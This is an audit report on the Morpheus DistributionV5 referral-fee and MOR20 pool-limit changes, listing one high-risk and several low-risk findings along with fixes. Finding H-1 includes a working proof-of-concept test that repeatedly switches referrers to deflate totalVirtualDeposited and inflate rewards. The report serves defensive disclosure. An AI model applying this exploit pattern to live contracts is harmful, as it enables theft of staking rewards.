RENASCENCE

Distribution Contract V5. Referral Program (PR 15 | PR 46)

Version 2.0

Audited by:

HollaDieWaldfee

peakbolt

October 31, 2024

Contents

1 Introduction

1.1 About Renascence

Renascence Labs was established by a team of experts including HollaDieWaldfee, MiloTruck, alexxander and bytes032.

Our founders have a distinguished history of achieving top honors in competitive audit contests, enhancing the security of leading protocols such as Reserve Protocol, Arbitrum, MaiaDAO, Chainlink, Dodo, Lens Protocol, Wenwin, PartyDAO, Lukso, Perennial Finance, Mute and Taurus.

We strive to deliver tailored solutions by thoroughly understanding each client's unique challenges and requirements. Our approach goes beyond addressing immediate security concerns; we are dedicated to fostering the enduring success and growth of our partners.

More of our work can be found here.

1.2 Disclaimer

This report reflects an analysis conducted within a defined scope and time frame, based on provided materials and documentation. It does not encompass all possible vulnerabilities and should not be considered exhaustive.

The review and accompanying report are presented on an 'as-is' and 'as-available' basis, without any express or implied warranties.

Furthermore, this report neither endorses any specific project or team nor assures the complete security of the project.

1.3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	High	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

1.3.1 Impact

- High - Funds are **directly** at risk, or a **severe** disruption of the protocol's core functionality
- Medium - Funds are **indirectly** at risk, or **some** disruption of the protocol's functionality
- Low - Funds are **not** at risk

1.3.2 Likelihood

- High - almost certain to happen, easy to perform, or not easy but highly incentivized
- Medium - only conditionally possible or incentivized, but still relatively likely
- Low - requires stars to align, or little-to-no incentive

2 Executive Summary

2.1 About Distribution Contract V5. Referral Program (PR 15 | PR 46)

PR 46 in the SmartContracts repository implements referral fees.

PR 15 in the MOR20 repository implements pool limits which are periods after stake and claim operations during which claiming is not allowed.

2.2 Overview

Project	Distribution Contract V5. Referral Program (PR 15 | PR 46)
Repository 1	SmartContracts
Commit Hash	6aab7b1953b9...
Mitigation Hash	96b22c2f375e...
Repository 2	MOR20
Commit Hash	23251b616473...
Mitigation Hash	76de13c302ba...
Date	25 October 2024 - 27 October 2024

2.3 Issues Found

Severity	Count
High Risk	1
Medium Risk	0
Low Risk	4
Informational	1
Total Issues	**6**

3 Findings Summary

ID	Description	Status
H-1	Changing of referrer during staking allows to arbitrarily inflate MOR rewards	Resolved
L-1	Withdrawal will fail if contract has a shortfall	Resolved
L-2	User can set `referrer_` to own address to earn more rewards	Acknowledged
L-3	Common reward pool for users and referrers could deter users from setting referrers	Acknowledged
L-4	Multiplier view function can return outdated information when referrer tiers are edited	Resolved
I-1	`amount` parameter in `UserReferred` event is not useful	Resolved

4 Findings

High Risk

[H-1] Changing of referrer during staking allows to arbitrarily inflate MOR rewards

Context:

- DistributionV5.sol#L528-L532

Description: When a user stakes more tokens, it is possible to change the referrer address, where `_applyReferrerTier()` will transfer all the `virtualAmountStaked` from the old referrer to the new referrer. This will also update the `poolData.totalVirtualDeposited` based on the `oldVirtualAmountStaked` and `newVirtualAmountStaked`.

However, it incorrectly updates `poolData.totalVirtualDeposited`, when the referrer address is changed during `stake()`. The scenario below will show that `totalVirtualDeposited` will be lower than actual. As `totalVirtualDeposited` is the denominator for the reward rate, a lower value will cause the reward rate to be higher than expected.

Suppose the following scenario, (For simplicity, we assume referrer multiplier = 1)

1. Both Alice and Bob have already staked `10` tokens with Referrer X.
2. That means Referrer X will have `virtualAmountStaked = 20`.
3. Lets ignore user staked amounts in `poolData.totalVirtualDeposited` and we will have `poolData.totalVirtualDeposited = 20` as well.
4. Now Alice stakes `10` more tokens and changes to Referrer Y (who currently has `virtualAmountStaked = 0`).
5. `oldVirtualAmountStaked` from Referrer X will be `20`, while `newVirtualAmountStaked` for Referrer Y will be `20`.
6. That means `poolData.totalVirtualDeposited = 20 - 20 + 20 = 20`, which is wrong, as it should be `30` in total (Referrer X has `10` tokens from Bob while Referrer Y has `20` tokens from Alice).

```
function _applyReferrerTier(
    uint256 poolId_,
    uint256 currentPoolRate_,
    uint256 oldDeposited_,
    uint256 newDeposited_,
    address oldReferrer_,
    address newReferrer_
) internal {
    ...

    ReferrerData storage newReferrerData = referrersData[newReferrer_][poolId_];

    uint256 oldVirtualAmountStaked;

    if (oldReferrer_ == address(0)) {
        ...
    } else {
        ReferrerData storage oldReferrerData = referrersData[oldReferrer_][poolId_];
```

```
        oldVirtualAmountStaked = oldReferrerData.virtualAmountStaked;

        if (oldReferrer_ == newReferrer_) {
            ...
        } else {
            oldReferrerData.applyReferrerTier(referrerTiers[poolId_], oldDeposited_,
            0, currentPoolRate_);
            newReferrerData.applyReferrerTier(referrerTiers[poolId_], 0,
            newDeposited_, currentPoolRate_);
        }
    }

    uint256 newVirtualAmountStaked = newReferrerData.virtualAmountStaked;

    PoolData storage poolData = poolsData[poolId_];
    poolData.totalVirtualDeposited =
        poolData.totalVirtualDeposited +
        newVirtualAmountStaked -
        oldVirtualAmountStaked;
}
```

The following test case has been used to verify the issue. Repeated operations with different addresses allow to arbitrarily lower `totalVirtualDeposited`, and as a consequence inflate the MOR rewards.

```
it.only('POC referrers can inflate rewards', async () => {
        let userData, multiplier, referrerData;

        // SECOND user stakes 100 ETH with referrer equal to REFERRER_1
        let tx = await distribution.manageUsersInPrivatePool(
          poolId,
          [SECOND.address],
          [wei(100)],
          [0],
          [REFERRER_1],
        );

        // OWNER stakes 1 wei and refers to REFERRER_1
        tx = await distribution.manageUsersInPrivatePool(
          poolId,
          [OWNER.address],
          [1],
          [0],
          [REFERRER_1],
        );
        let poolData = await distribution.poolsData(poolId);
        // overall 103.5 ETH + 1 wei
        // for SECOND user we have:
        // 100 ETH stake
        // 2.5 ETH referrer stake
        // 1 ETH reward for user using a referrer (1% of stake)
        // for OWNER we only have 1 wei deposit, referral and referral bonus rounds to
        zero
        console.log("totalVirtualDeposited", poolData.totalVirtualDeposited);
```

```
        // now comes the attack which is executed by referring to REFERRER_2 to
        deflate totalVirtualDeposited
        tx = await distribution.manageUsersInPrivatePool(
          poolId,
          [OWNER.address],
          [1],
          [0],
          [REFERRER_2],
        );
        poolData = await distribution.poolsData(poolId);
        console.log("totalVirtualDeposited", poolData.totalVirtualDeposited);

        // we can repeat this at little cost to further deflate totalVirtualDeposited
        const signers = await ethers.getSigners();
        for (let i = 0; i < 10; i++) {
          let addr: SignerWithAddress;
          addr = signers[i+10];
          await Promise.all([depositToken.mint(addr, wei(1000))]);
          console.log(addr.address);

          tx = await distribution.manageUsersInPrivatePool(
            poolId,
            [addr.address],
            [1],
            [0],
            [REFERRER_1],
          );

          tx = await distribution.manageUsersInPrivatePool(
            poolId,
            [addr.address],
            [1],
            [0],
            [REFERRER_2],
          );
        }
        poolData = await distribution.poolsData(poolId);
        console.log("totalVirtualDeposited", poolData.totalVirtualDeposited);

        // the pool rate which is calculated as "poolData.rate + (rewards_ *
        PRECISION) / poolData.totalVirtualDeposited;" is thus inflated
      });
```

Recommendation: `poolData.totalVirtualDeposited` should be updated using all the virtual amount staked for both old and new referrers as follows:

```
@@ -484,6 +484,13 @@ contract DistributionV5 is IDistributionV5, OwnableUpgradeable,
UUPSUpgradeable
         emit UserWithdrawn(poolId_, user_, amount_);
     }

+    struct ReferrerVariables {
+        uint256 oldReferrerVirtualAmountStakedBefore;
+        uint256 oldReferrerVirtualAmountStakedAfter;
+        uint256 newReferrerVirtualAmountStakedBefore;
+        uint256 newReferrerVirtualAmountStakedAfter;
+    }
```

```
+
     function _applyReferrerTier(
         uint256 poolId_,
         uint256 currentPoolRate_,
@@ -499,17 +506,13 @@ contract DistributionV5 is IDistributionV5, OwnableUpgradeable,
UUPSUpgradeable

         ReferrerData storage newReferrerData = referrersData[newReferrer_][poolId_];

-        uint256 oldVirtualAmountStaked;
+        ReferrerVariables memory referrerVariables;

+        referrerVariables.newReferrerVirtualAmountStakedBefore =
newReferrerData.virtualAmountStaked;
         if (oldReferrer_ == address(0)) {
-            oldVirtualAmountStaked = newReferrerData.virtualAmountStaked;

             newReferrerData.applyReferrerTier(referrerTiers[poolId_], 0,
             newDeposited_, currentPoolRate_);
         } else {
-            ReferrerData storage oldReferrerData =
referrersData[oldReferrer_][poolId_];
-
-            oldVirtualAmountStaked = oldReferrerData.virtualAmountStaked;
-
             if (oldReferrer_ == newReferrer_) {
                 newReferrerData.applyReferrerTier(
                     referrerTiers[poolId_],
@@ -518,18 +521,23 @@ contract DistributionV5 is IDistributionV5, OwnableUpgradeable,
UUPSUpgradeable
                     currentPoolRate_
                 );
             } else {
+                ReferrerData storage oldReferrerData =
referrersData[oldReferrer_][poolId_];
+                referrerVariables.oldReferrerVirtualAmountStakedBefore =
oldReferrerData.virtualAmountStaked;
                 oldReferrerData.applyReferrerTier(referrerTiers[poolId_],
                 oldDeposited_, 0, currentPoolRate_);
                 newReferrerData.applyReferrerTier(referrerTiers[poolId_], 0,
                 newDeposited_, currentPoolRate_);
+                referrerVariables.oldReferrerVirtualAmountStakedAfter =
oldReferrerData.virtualAmountStaked;
             }
         }

-        uint256 newVirtualAmountStaked = newReferrerData.virtualAmountStaked;
+        referrerVariables.newReferrerVirtualAmountStakedAfter =
newReferrerData.virtualAmountStaked;

         PoolData storage poolData = poolsData[poolId_];
         poolData.totalVirtualDeposited =
             poolData.totalVirtualDeposited +
-            newVirtualAmountStaked -
-            oldVirtualAmountStaked;
+            referrerVariables.oldReferrerVirtualAmountStakedAfter +
+            referrerVariables.newReferrerVirtualAmountStakedAfter -
+            referrerVariables.oldReferrerVirtualAmountStakedBefore -
+            referrerVariables.newReferrerVirtualAmountStakedBefore;
```

```
    }
```

Client: Fixed in https://github.com/MorpheusAIs/SmartContracts/pull/47/files.

Renascence: Resolved with a simplified version of the recommendations.

Low Risk

[L-1] Withdrawal will fail if contract has a shortfall

Context:

- DistributionV4.sol#L339
- DistributionV5.sol#L447

Description: Within the function `_withdraw()`, the withdrawal `amount_` is adjusted by the contract balance of `depositToken`.

However, this could cause a withdrawal to fail if the contract is in a shortfall (e.g. slashing) and does not have enough balance to service the withdrawal.

That is because the remaining balance `newDeposited_` after withdrawal is required to be zero or at least `minimalStake`. So if the `amount_` is adjusted slightly, `newDeposited_` would be non-zero, and it will fail if it is less than `minimalStake`.

Suppose `minimalStake = 100` in the following scenario,

1. Alice currently has `deposited = 100`.
2. She proceeds to withdraw `amount_ = 100`, to fully exit her stake.
3. As contract balance is in a shortfall, it adjusts `amount_ = 90`.
4. Now `newDeposited_ = 100 - 90 = 10`, which is non-zero and less than `minimalStake`, causing it to revert.

Note: In this scenario, Alice would suffer a loss of `100` tokens despite contract having `90` tokens available for withdrawals. However, there exists a workaround, which is to donate `10` tokens to the contract to make up the shortfall so that `newDeposited == 0` and allow the withdrawal to proceed.

```
            uint256 depositTokenContractBalance_ =
            IERC20(depositToken).balanceOf(address(this));
            if (amount_ > depositTokenContractBalance_) {
»>              amount_ = depositTokenContractBalance_;
            }

            newDeposited_ = deposited_ - amount_;

            require(amount_ > 0, "DS: nothing to withdraw");
»>          require(newDeposited_ >= pool.minimalStake || newDeposited_ == 0, "DS:
invalid withdraw amount");
```

Recommendation: The issue can be fixed with the following change,

```
            require(amount_ > 0, "DS: nothing to withdraw");
-           require(newDeposited_ >= pool.minimalStake || newDeposited_ == 0, "DS:
invalid withdraw amount");
+           require(newDeposited_ >= pool.minimalStake || newDeposited_ == 0 ||
depositTokenContractBalance_ == amount_, "DS: invalid withdraw amount");
```

Client: Fixed in https://github.com/MorpheusAIs/SmartContracts/pull/47/files and https://github.com/MorpheusAIs/MOR20/pull/16/files.

Renascence: Resolved as per recommendations.

[L-2] User can set `referrer_` to own address to earn more rewards

Context:

- DistributionV5.sol#L351-L370

Description: Within `DistributionV5`, users can set the `referrer_` address, which will provide the referrer additional rewards based on the referrer multiplier.

However, there are no validations on the `referrer_` address, which means any users can set it to themselves so that they earn the referrer rewards.

```
function _stake(
    address user_,
    uint256 poolId_,
    uint256 amount_,
    uint256 currentPoolRate_,
    uint128 claimLockEnd_,
    address referrer_
) private {
    Pool storage pool = pools[poolId_];
    PoolData storage poolData = poolsData[poolId_];
    UserData storage userData = usersData[user_][poolId_];

    if (claimLockEnd_ == 0) {
        claimLockEnd_ = userData.claimLockEnd > block.timestamp ?
        userData.claimLockEnd : uint128(block.timestamp);
    }
    require(claimLockEnd_ >= userData.claimLockEnd, "DS: invalid claim lock end");

    if (referrer_ == address(0)) {
        referrer_ = userData.referrer;
    }
```

Recommendation: if the intent is to allow any users to be a referrer, there is no easy technical solution that can prevent this issue from occurring. it is also pointless to prevent setting the referrer to the caller, as the user can just set to another arbitrary address owned by them.

As this is already anticipated, this issue can be acknowledged and then mitigated with other means like economic incentives to ensure the users set appropriate referrers that are beneficial for both protocol and users.

Furthermore, there could be initiatives by the users to collaborate and set a common referrer that will split the referrer rewards to return back to users automatically via a trustless contract. It can be expected that this encourages more users to stake, benefitting the protocol. Another consequence of the referral mechanism is that rewards are effectively transferred from users that are not sophisticated enough to maximize their rewards to users that are.

Client: A detailed response to this comment is set out in the report. No changes.

Renascence: Acknowledged by client.

[L-3] Common reward pool for users and referrers could deter users from setting referrers

Context:

- DistributionV5.sol#L543-L553

Description: Both users and referrers share the same reward pool as `_getCurrentPoolRate()` will divide `rewards_` by `poolData.totalVirtualDeposited`. That means they get a proportion of the rewards based on the `virtualDeposited` for users and `virtualAmountStaked` for referrers.

Due to the common reward pool, users could get less rewards when they set the referrer address, as compared to leaving it as `address(0)`. It is noted that a mitigation is in place by providing additional 1% to the reward multiplier to incentivize users to set a referrer.

However, the design still depends on the amount of rewards shared with the referrers as compared to the additional 1% multiplier given to the users. Users could be worse off if the referrer is given a share of rewards that dilutes the reward rate so much that the 1% increase in the user's virtual deposit does not offset this dilution.

```
function _getCurrentPoolRate(uint256 poolId_) private view returns (uint256) {
    PoolData storage poolData = poolsData[poolId_];

    if (poolData.totalVirtualDeposited == 0) {
        return poolData.rate;
    }

    uint256 rewards_ = getPeriodReward(poolId_, poolData.lastUpdate,
    uint128(block.timestamp));

    return poolData.rate + (rewards_ * PRECISION) / poolData.totalVirtualDeposited;
}
```

Recommendation: This issue can be acknowledged as it cannot be resolved by code changes due to the requirements of sharing a common reward pool.

It is recommended to factor in the users responses on the referrer setting when deciding the appropriate referrer tier multiplier values. Ideally it should not over-dilute users' reward share and deter them from setting referrers.

As it is not easy to predict how users might respond to this, a suggestion is to monitor the users' behavior during the referrer reward rollout and determine if the intended outcome has been achieved and whether to continue with it.

Client: Agree with what was written in the report. In addition, I can note that shooting ranges for referees can be changed by the administrator, thus adjusting the percentage. No changes.

Renascence: Acknowledged by client.

[L-4] Multiplier view function can return outdated information when referrer tiers are edited

Context:

- DistributionV5.sol#L585-L593

Description: When the `owner` calls `editReferrerTiers()`, the `getReferrerMultiplier()` function can return inconsistent data that does not reflect the multiplier that referrer rewards are currently accrued with. This is because changes in the referrer tiers are not immediately reflected in the internal representation of the referrer multipliers and internally, the new referrer tiers are only considered once the funds referred to the referrer are update with a stake or withdraw operation.

There is also a risk that a referrer has a big multiplier, and the multiplier is not immediately updated when the `owner` updates referrer tiers which leads to rewards being shared in an unintended way. However, anyone can refer to that referrer and so it is possible to update the referrer tier at any time if this is a concern.

Recommendation: If `getReferrerMultiplier()` should return the multiplier that is currently being used as opposed to the multiplier that would apply according to the latest fee tiers, the current multiplier can be calculated on the fly with the `amountStaked` and `virtualAmountStaked` fields.

```
        ReferrerData storage referrerData = referrersData[referrer_][poolId_];

-       return ReferrerLib.getReferrerMultiplier(referrerTiers[poolId_],
referrerData.amountStaked);
+       return referrerData.virtualAmountStaked * PRECISION /
referrerData.amountStaked;
    }
```

The fact that fee tier updates do not apply immediately can be acknowledged as there is no easy fix to address it and in significant cases, the fee tiers can be updated by staking or withdrawing. If it is not acceptable, a refactoring is necessary.

Client: Fixed in https://github.com/MorpheusAIs/SmartContracts/pull/47/files.

Renascence: Resolved as per recommendations. Also, the case where `referrerData.amountStaked == 0` is handled separately, and zero is returned. This is to avoid a division by zero.

Informational

[I-1] `amount` parameter in `UserReferred` event is not useful

Context:

- DistributionV5.sol#L415

Description: The `UserReferred` event is only emitted in `DistributionV5._stake()` with the `amount` parameter equal to the new amount that is staked. Depending on the intended usage of the event, the information may not be sufficient as there can be two referrers involved (the old and the new one) and the amount that is referred is equal to the newly staked amount and the old amount.

Recommendation: It is recommended to emit the `UserReferred` event in `_applyReferrerTier()` such that it applies to staking and withdrawal operations and it should be emitted for all referrers involved. It is also possible that the event emits parameters as intended and does not need to be changed.

Client: Fixed in `https://github.com/MorpheusAIs/SmartContracts/pull/47/files`.

Renascence: Resolved as per recommendations.

5 Centralization Risks

The pull requests don't introduce additional centralization risks.

In particular, the ability for the owner in the MOR20 DistributionV4 contract to set pool limits, does not break previous trust assumptions. The worst case scenario is that users are not able to claim rewards, but this impact was already present previously via different means.

And in the SmartContracts repository, the owner already has full control over the Distribution via the upgrade mechanism, and so the fee tiers and pool limits trivially allow for only a subset of what can be done via an upgrade.

For a full overview of the centralization risks in the MOR20 repository and SmartContracts repository, the previous audit reports should be referred to.